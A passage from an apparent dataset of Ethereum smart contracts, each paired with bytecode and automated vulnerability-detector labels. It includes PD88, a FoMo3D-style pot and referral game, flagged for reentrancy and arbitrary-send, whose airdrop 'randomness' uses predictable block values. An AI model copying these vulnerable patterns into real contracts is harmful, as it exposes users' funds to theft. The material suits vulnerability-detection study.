600061401c60258361342f565b915061402782613fc0565b604082019050919050565b6000602082019050818103600083015261404b8161400f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006140ae60238361342f565b91506140b982614052565b604082019050919050565b600060208201905081810360008301526140dd816140a1565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061414060298361342f565b915061414b826140e4565b604082019050919050565b6000602082019050818103600083015261416f81614133565b9050919050565b7f436f6e7472616374206e6f742079657420696e697469616c697a656400000000600082015250565b60006141ac601c8361342f565b91506141b782614176565b602082019050919050565b600060208201905081810360008301526141db8161419f565b9050919050565b60006141ed82613551565b91506141f883613551565b92508282101561420b5761420a613d33565b5b828203905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061424c601b8361342f565b915061425782614216565b602082019050919050565b6000602082019050818103600083015261427b8161423f565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006142de602a8361342f565b91506142e982614282565b604082019050919050565b6000602082019050818103600083015261430d816142d1565b9050919050565b6000819050919050565b6000819050919050565b600061434361433e61433984614314565b61431e565b613551565b9050919050565b61435381614328565b82525050565b600060a08201905061436e60008301886135fd565b61437b602083018761434a565b818103604083015261438d8186613b0a565b905061439c606083018561380f565b6143a960808301846135fd565b9695505050505050565b60006143be82613551565b91506143c983613551565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561440257614401613d33565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061444782613551565b915061445283613551565b9250826144625761446161440d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006144c960218361342f565b91506144d48261446d565b604082019050919050565b600060208201905081810360008301526144f8816144bc565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122003334ba1681ca1470751afe54a633fffdf29b575fde76abdfce561682041abaa64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,842
0xec9a75a532311b6102d91d439e1db055dc9414d9
pragma solidity ^0.4.0; contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract PD88 is Owned { modifier isHuman() { address _addr = msg.sender; require (_addr == tx.origin); uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } //Round Global Info uint public Round = 1; mapping(uint => uint) public RoundDonation; mapping(uint => uint) public RoundETH; // Pot mapping(uint => uint) public RoundTime; mapping(uint => uint) public RoundPayMask; mapping(uint => address) public RoundLastDonationMan; //Globalinfo uint256 public Luckybuy; //Round Personal Info mapping(uint => mapping(address => uint)) public RoundMyDonation; mapping(uint => mapping(address => uint)) public RoundMyPayMask; mapping(address => uint) public MyreferredRevenue; //Product uint public product1_pot; uint public product2_pot; uint public product3_pot; uint public product4_pot; uint public product1_sell; uint public product2_sell; uint public product3_sell; uint public product4_sell; uint public product1_luckybuyTracker; uint public product2_luckybuyTracker; uint public product3_luckybuyTracker; uint public product4_luckybuyTracker; uint public product1 = 0.03 ether; uint public product2 = 0.05 ether; uint public product3 = 0.09 ether; uint public product4 = 0.01 ether; uint256 private RoundIncrease = 11 seconds; uint256 constant private RoundMaxTime = 720 minutes; uint public lasttimereduce = 0; //Owner fee uint256 public onwerfee; using SafeMath for *; using CalcLong for uint256; event winnerEvent(address winnerAddr, uint256 newPot, uint256 round); event luckybuyEvent(address luckyAddr, uint256 amount, uint256 round, uint product); event buydonationEvent(address Addr, uint256 Donationsamount, uint256 ethvalue, uint256 round, address ref); event referredEvent(address Addr, address RefAddr, uint256 ethvalue); event withdrawEvent(address Addr, uint256 ethvalue, uint256 Round); event withdrawRefEvent(address Addr, uint256 ethvalue); event withdrawOwnerEvent(uint256 ethvalue); function getDonationPrice() public view returns(uint256) { return ( (RoundDonation[Round].add(1000000000000000000)).ethRec(1000000000000000000) ); } //Get My Revenue function getMyRevenue(uint _round) public view returns(uint256) { return( (((RoundPayMask[_round]).mul(RoundMyDonation[_round][msg.sender])) / (1000000000000000000)).sub(RoundMyPayMask[_round][msg.sender]) ); } //Get Time Left function getTimeLeft() public view returns(uint256) { if(RoundTime[Round] == 0 || RoundTime[Round] < now) return 0; else return( (RoundTime[Round]).sub(now) ); } function updateTimer(uint256 _donations) private { if(RoundTime[Round] == 0) RoundTime[Round] = RoundMaxTime.add(now); uint _newTime = (((_donations) / (1000000000000000000)).mul(RoundIncrease)).add(RoundTime[Round]); // compare to max and set new end time if (_newTime < (RoundMaxTime).add(now)) RoundTime[Round] = _newTime; else RoundTime[Round] = RoundMaxTime.add(now); } function buyDonation(address referred, uint8 product) public isHuman() payable { require(msg.value >= 1000000000, "pocket lint: not a valid currency"); require(msg.value <= 100000000000000000000000, "no vitalik, no"); uint8 product_ = 1; if(product == 1) { require(msg.value >= product1 && msg.value % product1 == 0); product1_sell += msg.value / product1; product1_pot += msg.value.mul(20) / 100; product1_luckybuyTracker++; product_ = 1; } else if(product == 2) { require(msg.value >= product2 && msg.value % product2 == 0); product2_sell += msg.value / product2; product2_pot += msg.value.mul(20) / 100; product2_luckybuyTracker++; product_ = 2; } else if(product == 3) { require(msg.value >= product3 && msg.value % product3 == 0); product3_sell += msg.value / product3; product3_pot += msg.value.mul(20) / 100; product3_luckybuyTracker++; product_ = 3; } else { require(msg.value >= product4 && msg.value % product4 == 0); product4_sell += msg.value / product4; product4_pot += msg.value.mul(20) / 100; product4_luckybuyTracker++; product_ = 4; } //bought at least 1 whole key uint256 _donations = (RoundETH[Round]).keysRec(msg.value); uint256 _pearn; require(_donations >= 1000000000000000000); require(RoundTime[Round] > now || RoundTime[Round] == 0); updateTimer(_donations); RoundDonation[Round] += _donations; RoundMyDonation[Round][msg.sender] += _donations; if (referred != address(0) && referred != msg.sender) { _pearn = (((msg.value.mul(45) / 100).mul(1000000000000000000)) / (RoundDonation[Round])).mul(_donations)/ (1000000000000000000); onwerfee += (msg.value.mul(5) / 100); RoundETH[Round] += msg.value.mul(20) / 100; MyreferredRevenue[referred] += (msg.value.mul(10) / 100); RoundPayMask[Round] += ((msg.value.mul(45) / 100).mul(1000000000000000000)) / (RoundDonation[Round]); RoundMyPayMask[Round][msg.sender] = (((RoundPayMask[Round].mul(_donations)) / (1000000000000000000)).sub(_pearn)).add(RoundMyPayMask[Round][msg.sender]); emit referredEvent(msg.sender, referred, msg.value.mul(10) / 100); } else { _pearn = (((msg.value.mul(55) / 100).mul(1000000000000000000)) / (RoundDonation[Round])).mul(_donations)/ (1000000000000000000); RoundETH[Round] += msg.value.mul(20) / 100; onwerfee +=(msg.value.mul(5) / 100); RoundPayMask[Round] += ((msg.value.mul(55) / 100).mul(1000000000000000000)) / (RoundDonation[Round]); RoundMyPayMask[Round][msg.sender] = (((RoundPayMask[Round].mul(_donations)) / (1000000000000000000)).sub(_pearn)).add(RoundMyPayMask[Round][msg.sender]); } // airdrops if (luckyBuy(product_) == true) { uint _temp = 0; if(product_ == 1) { _temp = product1_pot; product1_pot = 0; product1_luckybuyTracker = 0; } else if(product_ == 2) { _temp = product2_pot; product2_pot = 0; product2_luckybuyTracker = 0; } else if(product_ == 3) { _temp = product3_pot; product3_pot = 0; product3_luckybuyTracker = 0; } else { _temp = product4_pot; product4_pot = 0; product4_luckybuyTracker = 0; } if(_temp != 0) msg.sender.transfer(_temp); emit luckybuyEvent(msg.sender, _temp, Round,product_); } RoundLastDonationMan[Round] = msg.sender; emit buydonationEvent(msg.sender, _donations, msg.value, Round, referred); } function reducetime() isHuman() public { require(now >= lasttimereduce + 12 hours); lasttimereduce = now; RoundIncrease -= 1 seconds; } function win() isHuman() public { require(now > RoundTime[Round] && RoundTime[Round] != 0); uint Round_ = Round; Round++; //Round End RoundLastDonationMan[Round_].transfer(RoundETH[Round_].mul(80) / 100); owner.transfer(RoundETH[Round_].mul(20) / 100); RoundIncrease = 11 seconds; lasttimereduce = now; emit winnerEvent(RoundLastDonationMan[Round_], RoundETH[Round_], Round_); } //withdrawEarnings function withdraw(uint _round) isHuman() public { uint _revenue = getMyRevenue(_round); uint _revenueRef = MyreferredRevenue[msg.sender]; RoundMyPayMask[_round][msg.sender] += _revenue; MyreferredRevenue[msg.sender] = 0; msg.sender.transfer(_revenue + _revenueRef); emit withdrawRefEvent( msg.sender, _revenue); emit withdrawEvent(msg.sender, _revenue, _round); } function withdrawOwner() public onlyOwner { uint _revenue = onwerfee; msg.sender.transfer(_revenue); onwerfee = 0; emit withdrawOwnerEvent(_revenue); } //LuckyBuy function luckyBuy(uint8 product_) private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); uint luckybuyTracker_; if(product_ == 1) { luckybuyTracker_ = product1_luckybuyTracker; } else if(product_ == 2) { luckybuyTracker_ = product2_luckybuyTracker; } else if(product_ == 3) { luckybuyTracker_ = product3_luckybuyTracker; } else { luckybuyTracker_ = product4_luckybuyTracker; } if((seed - ((seed / 1000) * 1000)) < luckybuyTracker_) return(true); else return(false); } function getFullround()public view returns(uint[] round,uint[] pot, address[] whowin,uint[] mymoney) { uint[] memory whichRound = new uint[](Round); uint[] memory totalPool = new uint[](Round); address[] memory winner = new address[](Round); uint[] memory myMoney = new uint[](Round); uint counter = 0; for (uint i = 1; i <= Round; i++) { whichRound[counter] = i; totalPool[counter] = RoundETH[i]; winner[counter] = RoundLastDonationMan[i]; myMoney[counter] = getMyRevenue(i); counter++; } return (whichRound,totalPool,winner,myMoney); } } library CalcLong { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0x6080604052600436106101f85763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630446e18781146101fd57806309f4614d1461021957806329143bdd146102405780632a10ff23146102555780632e1a7d4d1461026a578063313fc3fc14610282578063391363b51461029a5780633917b761146102af57806339d34323146102c457806345293f0e146102d9578063473ca96c146102ee57806347883fd91461030357806348ad5cd0146103185780634d1bd1fa1461032d5780634f9ebe09146103425780635cfd5f89146103575780636042bcba1461036c57806370b574151461039057806371773fc2146103a557806375e2f405146103ba57806379ba5097146103cf5780637a4843ca146103e45780638a77434d146103f95780638da5cb5b1461042d578063916df92a1461044257806396e4ba2214610457578063ae8bce2c1461046f578063b16eb94014610484578063b9ca67c01461049c578063c279d042146104bd578063c2e55da3146104d2578063c7e284b8146104e7578063d4ee1d90146104fc578063dbc41b1114610511578063de38724114610535578063e5a34f971461054d578063e8cc00ad14610685578063eb18ebdf1461069a578063ee427639146106af578063f2fde38b146106c7578063f7f8303b146106e8575b600080fd5b610217600160a060020a036004351660ff602435166106fd565b005b34801561022557600080fd5b5061022e611037565b60408051918252519081900360200190f35b34801561024c57600080fd5b5061022e61103d565b34801561026157600080fd5b5061022e611043565b34801561027657600080fd5b50610217600435611049565b34801561028e57600080fd5b5061022e600435611193565b3480156102a657600080fd5b506102176111f2565b3480156102bb57600080fd5b5061022e61126d565b3480156102d057600080fd5b5061022e611273565b3480156102e557600080fd5b5061022e611279565b3480156102fa57600080fd5b5061021761127f565b34801561030f57600080fd5b5061022e61146e565b34801561032457600080fd5b5061022e611474565b34801561033957600080fd5b5061022e61147a565b34801561034e57600080fd5b5061022e611480565b34801561036357600080fd5b5061022e6114c2565b34801561037857600080fd5b5061022e600435600160a060020a03602435166114c8565b34801561039c57600080fd5b5061022e6114e5565b3480156103b157600080fd5b5061022e6114eb565b3480156103c657600080fd5b5061022e6114f1565b3480156103db57600080fd5b506102176114f7565b3480156103f057600080fd5b5061022e61157f565b34801561040557600080fd5b50610411600435611585565b60408051600160a060020a039092168252519081900360200190f35b34801561043957600080fd5b506104116115a0565b34801561044e57600080fd5b5061022e6115af565b34801561046357600080fd5b5061022e6004356115b5565b34801561047b57600080fd5b5061022e6115c7565b34801561049057600080fd5b5061022e6004356115cd565b3480156104a857600080fd5b5061022e600160a060020a03600435166115df565b3480156104c957600080fd5b5061022e6115f1565b3480156104de57600080fd5b5061022e6115f7565b3480156104f357600080fd5b5061022e6115fd565b34801561050857600080fd5b50610411611661565b34801561051d57600080fd5b5061022e600435600160a060020a0360243516611670565b34801561054157600080fd5b5061022e60043561168d565b34801561055957600080fd5b5061056261169f565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156105ae578181015183820152602001610596565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156105ed5781810151838201526020016105d5565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561062c578181015183820152602001610614565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561066b578181015183820152602001610653565b505050509050019850505050505050505060405180910390f35b34801561069157600080fd5b50610217611841565b3480156106a657600080fd5b5061022e6118c6565b3480156106bb57600080fd5b5061022e6004356118cc565b3480156106d357600080fd5b50610217600160a060020a03600435166118de565b3480156106f457600080fd5b5061022e611924565b6000808080338132821461071057600080fd5b50803b8015610757576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611f34833981519152604482015290519081900360640190fd5b633b9aca003410156107d9576040805160e560020a62461bcd02815260206004820152602160248201527f706f636b6574206c696e743a206e6f7420612076616c69642063757272656e6360448201527f7900000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b69152d02c7e14af680000034111561083b576040805160e560020a62461bcd02815260206004820152600e60248201527f6e6f20766974616c696b2c206e6f000000000000000000000000000000000000604482015290519081900360640190fd5b600195508660ff16600114156108c357601854341015801561086857506018543481151561086557fe5b06155b151561087357600080fd5b6018543481151561088057fe5b60108054929091049091019055606461089a34601461192a565b8115156108a357fe5b600c80549290910490910190556014805460019081019091559550610a3c565b8660ff16600214156109465760195434101580156108ec5750601954348115156108e957fe5b06155b15156108f757600080fd5b6019543481151561090457fe5b60118054929091049091019055606461091e34601461192a565b81151561092757fe5b600d805492909104909101905560158054600101905560029550610a3c565b8660ff16600314156109c957601a54341015801561096f5750601a543481151561096c57fe5b06155b151561097a57600080fd5b601a543481151561098757fe5b6012805492909104909101905560646109a134601461192a565b8115156109aa57fe5b600e805492909104909101905560168054600101905560039550610a3c565b601b5434101580156109e65750601b54348115156109e357fe5b06155b15156109f157600080fd5b601b54348115156109fe57fe5b601380549290910490910190556064610a1834601461192a565b811515610a2157fe5b600f8054929091049091019055601780546001019055600495505b600254600090815260046020526040902054610a5e903463ffffffff6119a116565b9450670de0b6b3a7640000851015610a7557600080fd5b600254600090815260056020526040902054421080610aa35750600254600090815260056020526040902054155b1515610aae57600080fd5b610ab7856119da565b60028054600090815260036020908152604080832080548a0190559254825260098152828220338352905220805486019055600160a060020a03881615801590610b0a5750600160a060020a0388163314155b15610d4157600254600090815260036020526040902054670de0b6b3a764000090610b5c908790610b468460648234602d63ffffffff61192a16565b811515610b4f57fe5b049063ffffffff61192a16565b811515610b6557fe5b0493506064610b7b34600563ffffffff61192a16565b811515610b8457fe5b601e80549290910490910190556064610b9e34601461192a565b811515610ba757fe5b600254600090815260046020526040902080549290910490910190556064610bd034600a61192a565b811515610bd957fe5b600160a060020a038a166000908152600b60209081526040808320805495909404909401909255600254815260039091522054610c25670de0b6b3a76400006064610b4634602d61192a565b811515610c2e57fe5b6002805460009081526006602081815260408084208054979096049096019094559154808252600a84528482203383528452848220549082529190925291902054610cb09190610ca4908790670de0b6b3a764000090610c8e908b61192a565b811515610c9757fe5b049063ffffffff611aa116565b9063ffffffff611b0116565b6002546000908152600a60208181526040808420338086529252909220929092557f89d2d6da07e3333f69bb7cc7417258af3e548508e4489073f03b4429257c2f69918a90606490610d0990349063ffffffff61192a16565b811515610d1257fe5b60408051600160a060020a039586168152939094166020840152048183015290519081900360600190a1610e91565b600254600090815260036020526040902054670de0b6b3a764000090610d78908790610b468460648234603763ffffffff61192a16565b811515610d8157fe5b0493506064610d9734601463ffffffff61192a16565b811515610da057fe5b600254600090815260046020526040902080549290910490910190556064610dc934600561192a565b811515610dd257fe5b601e8054929091049091019055600254600090815260036020526040902054610e0a670de0b6b3a76400006064610b4634603761192a565b811515610e1357fe5b6002805460009081526006602081815260408084208054979096049096019094559154808252600a84528482203383528452848220549082529190925291902054610e739190610ca4908790670de0b6b3a764000090610c8e908b61192a565b6002546000908152600a602090815260408083203384529091529020555b610e9a86611b5c565b151560011415610fa657600092508560ff1660011415610ecb57600c80546000918290556014919091559250610f24565b8560ff1660021415610eee57600d80546000918290556015919091559250610f24565b8560ff1660031415610f1157600e80546000918290556016919091559250610f24565b600f805460009182905560179190915592505b8215610f5957604051339084156108fc029085906000818181858888f19350505050158015610f57573d6000803e3d6000fd5b505b60025460408051338152602081018690528082019290925260ff88166060830152517ff413ae1219e47cfd6bc35c56ea14d8c0951ea1661eadcc5f82f3702e753f0e479181900360800190a15b60028054600090815260076020908152604091829020805473ffffffffffffffffffffffffffffffffffffffff1916339081179091559254825193845290830188905234838301526060830152600160a060020a038a166080830152517f2f5eb24cd42a6e3ab8958af6f40c63d3592af1927ab3d75ff798c7de85d75b1e9181900360a00190a15050505050505050565b60185481565b601e5481565b60195481565b600080338132821461105a57600080fd5b50803b80156110a1576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611f34833981519152604482015290519081900360640190fd5b6110aa85611193565b336000818152600b6020818152604080842080548c8652600a845282862087875284528286208054890190559390925290839055519397509550909185870180156108fc0292909190818181858888f19350505050158015611110573d6000803e3d6000fd5b50604080513381526020810186905281517fd8924530be19e46fde029983142108b4b37ec7330e0752a0a9f3eac5ec77e300929181900390910190a1604080513381526020810186905280820187905290517f3f5274d9edd3b530545223adc84dcf865f2433783bc200984750bd356af572539181900360600190a15050505050565b6000818152600a60209081526040808320338085529083528184205485855260098452828520918552908352818420548585526006909352908320546111ec92670de0b6b3a764000091610c8e9163ffffffff61192a16565b92915050565b33600032821461120157600080fd5b50803b8015611248576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611f34833981519152604482015290519081900360640190fd5b601d5461a8c00142101561125b57600080fd5b505042601d55601c8054600019019055565b60115481565b60125481565b60085481565b6000338132821461128f57600080fd5b50803b80156112d6576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611f34833981519152604482015290519081900360640190fd5b60025460009081526005602052604090205442118015611306575060025460009081526005602052604090205415155b151561131157600080fd5b6002805460018101909155600081815260076020908152604080832054600490925290912054919450600160a060020a0316906108fc9060649061135c90605063ffffffff61192a16565b81151561136557fe5b049081150290604051600060405180830381858888f19350505050158015611391573d6000803e3d6000fd5b50600080548482526004602052604090912054600160a060020a03909116906108fc906064906113c890601463ffffffff61192a16565b8115156113d157fe5b049081150290604051600060405180830381858888f193505050501580156113fd573d6000803e3d6000fd5b50600b601c5542601d556000838152600760209081526040808320546004835292819020548151600160a060020a03909416845291830191909152818101859052517f863762d04d1afddd43d210d2fcbbd5bb24e7ef03099af8c36c3967127f9356cc9181900360600190a1505050565b60175481565b601a5481565b60155481565b6002546000908152600360205260408120546114bc90670de0b6b3a7640000906114b0908263ffffffff611b0116565b9063ffffffff611db716565b90505b90565b600f5481565b600a60209081526000928352604080842090915290825290205481565b600d5481565b601d5481565b60145481565b600154600160a060020a0316331461150e57600080fd5b60015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b60165481565b600760205260009081526040902054600160a060020a031681565b600054600160a060020a031681565b60025481565b60036020526000908152604090205481565b600c5481565b60066020526000908152604090205481565b600b6020526000908152604090205481565b60135481565b600e5481565b600254600090815260056020526040812054158061162b575060025460009081526005602052604090205442115b15611638575060006114bf565b60025460009081526005602052604090205461165a904263ffffffff611aa116565b90506114bf565b600154600160a060020a031681565b600960209081526000928352604080842090915290825290205481565b60046020526000908152604090205481565b6060806060806060806060806000806002546040519080825280602002602001820160405280156116da578160200160208202803883390190505b509550600254604051908082528060200260200182016040528015611709578160200160208202803883390190505b509450600254604051908082528060200260200182016040528015611738578160200160208202803883390190505b509350600254604051908082528060200260200182016040528015611767578160200160208202803883390190505b50925060009150600190505b60025481116118315780868381518110151561178b57fe5b602090810290910181019190915260008281526004909152604090205485518690849081106117b657fe5b60209081029091018101919091526000828152600790915260409020548451600160a060020a03909116908590849081106117ed57fe5b600160a060020a0390921660209283029091019091015261180d81611193565b838381518110151561181b57fe5b6020908102909101015260019182019101611773565b5093989297509095509350915050565b60008054600160a060020a0316331461185957600080fd5b50601e54604051339082156108fc029083906000818181858888f1935050505015801561188a573d6000803e3d6000fd5b506000601e556040805182815290517f72600d54a1c0831ed94a3672b7ceed0648eb805f14ebfe54ecfb135b479642aa9181900360200190a150565b601b5481565b60056020526000908152604090205481565b600054600160a060020a031633146118f557600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60105481565b600082151561193b575060006111ec565b5081810281838281151561194b57fe5b04146111ec576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd5b60006119d36119af84611ddd565b6119c76119c2868663ffffffff611b0116565b611ddd565b9063ffffffff611aa116565b9392505050565b6002546000908152600560205260408120541515611a1757611a0461a8c04263ffffffff611b0116565b6002546000908152600560205260409020555b600254600090815260056020526040902054601c54611a449190610ca490670de0b6b3a764000086610b4f565b9050611a5861a8c04263ffffffff611b0116565b811015611a78576002546000908152600560205260409020819055611a9d565b611a8a61a8c04263ffffffff611b0116565b6002546000908152600560205260409020555b5050565b600082821115611afb576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820737562206661696c656400000000000000000000000000604482015290519081900360640190fd5b50900390565b818101828110156111ec576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820616464206661696c656400000000000000000000000000604482015290519081900360640190fd5b6000806000611ccf43610ca442336040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b60208310611bd95780518252601f199092019160209182019101611bba565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912092505050811515611c0f57fe5b04610ca445610ca442416040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b60208310611c885780518252601f199092019160209182019101611c69565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912092505050811515611cbe57fe5b04610ca4424463ffffffff611b0116565b604051602001808281526020019150506040516020818303038152906040526040518082805190602001908083835b60208310611d1d5780518252601f199092019160209182019101611cfe565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912094505050600160ff861614159050611d615750601454611d90565b8360ff1660021415611d765750601554611d90565b8360ff1660031415611d8b5750601654611d90565b506017545b806103e883046103e80283031015611dab5760019250611db0565b600092505b5050919050565b60006119d3611dd4611dcf858563ffffffff611aa116565b611e61565b6119c785611e61565b60006309502f90611e516d03b2a1d15167e7c5699bfde000006119c7611e4c7a0dac7055469777a6122ee4310dd6c14410500f2904840000000000610ca46b01027e72f1f1281308800000611e408a670de0b6b3a764000063ffffffff61192a16565b9063ffffffff61192a16565b611ece565b811515611e5a57fe5b0492915050565b6000611e74670de0b6b3a7640000611f27565b611e516002611ea7611e9486670de0b6b3a764000063ffffffff61192a16565b65886c8f6730709063ffffffff61192a16565b811515611eb057fe5b04610ca4611ebd86611f27565b6304a817c89063ffffffff61192a16565b6000806002611ede846001611b01565b811515611ee757fe5b0490508291505b81811015611f21578091506002611f108285811515611f0957fe5b0483611b01565b811515611f1957fe5b049050611eee565b50919050565b60006111ec828361192a5600736f7272792068756d616e73206f6e6c79000000000000000000000000000000a165627a7a72305820f8e473ad80be646548fc79e79c286ce35e67802d2b50bc61123cbedfe0eebc4d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,843
0x19520Fa4494aE763F669874D47Ea5eAD22C86e0D
pragma solidity ^0.5.0; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said 